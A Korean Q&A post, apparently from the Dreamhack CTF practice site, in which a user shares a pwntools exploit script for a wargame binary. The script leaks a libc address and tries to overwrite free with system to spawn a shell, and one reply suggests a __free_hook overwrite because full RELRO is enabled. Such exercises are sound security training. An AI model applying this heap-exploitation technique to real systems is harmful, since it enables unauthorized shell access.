[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
익스플로잇 코드가 맞는지좀 봐주세요
from pwn import *
p = remote('host3.dreamhack.games', 9633)
#p = process('./santa_coming_to_town')
libc = ELF("/home/jiho/hack/libc/libc-2.27.so")
context.log_level = 'debug'
i = p.sendlineafter
def make(a, b, c):
    i('>> ', '1')
    i('? : ', str(a)) #date
    i(') : ', str(b)) #line
    i('~\n', str(c))
def read(a):
    i('>> ', '2')
    i('? : ', str(a))
def free(a, b, c):
    i('>> ', '3')
    i('? : ', str(a)) #date
    i('edit : ', str(b)) #line
    i('to : ', str(c)) #data
a = 1
while a < 25:
    make(a, 1, 0)
    a += 1
make(25, 0x21000, '/bin/sh\x00')

read(25)
p.recvuntil('Pages : ')
address_25 = int(p.recvline()[:-1], 16)
libc_base = address_25 + 0x210ff0
print('libc_base: '+hex(libc_base))
print(hex(libc_base + libc.sym['free']))
print(hex(address_25))
print(int((libc_base + libc.sym['free'] - address_25)/16))

offset = (libc_base + libc.sym['free'] - address_25)/0x10
system = libc_base + libc.sym['system']
print(system)
free(25, int(offset + 1), system)
p.interactive()

free함수를 system으로 덮고 free함수의 인자로 들어가는곳에 /bin/sh\x00을 넣어서 쉘을 실행시키려고 했는데 뭐가 문제인지 안됩니다

#pwnable
작성자 정보
답변 1
Hmin
강의 수강: 10

바이너리에 full relro 적용되어 있어서 free got over는 못하고 free hook overwrite로 해보세요

2023.02.20. 12:16
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기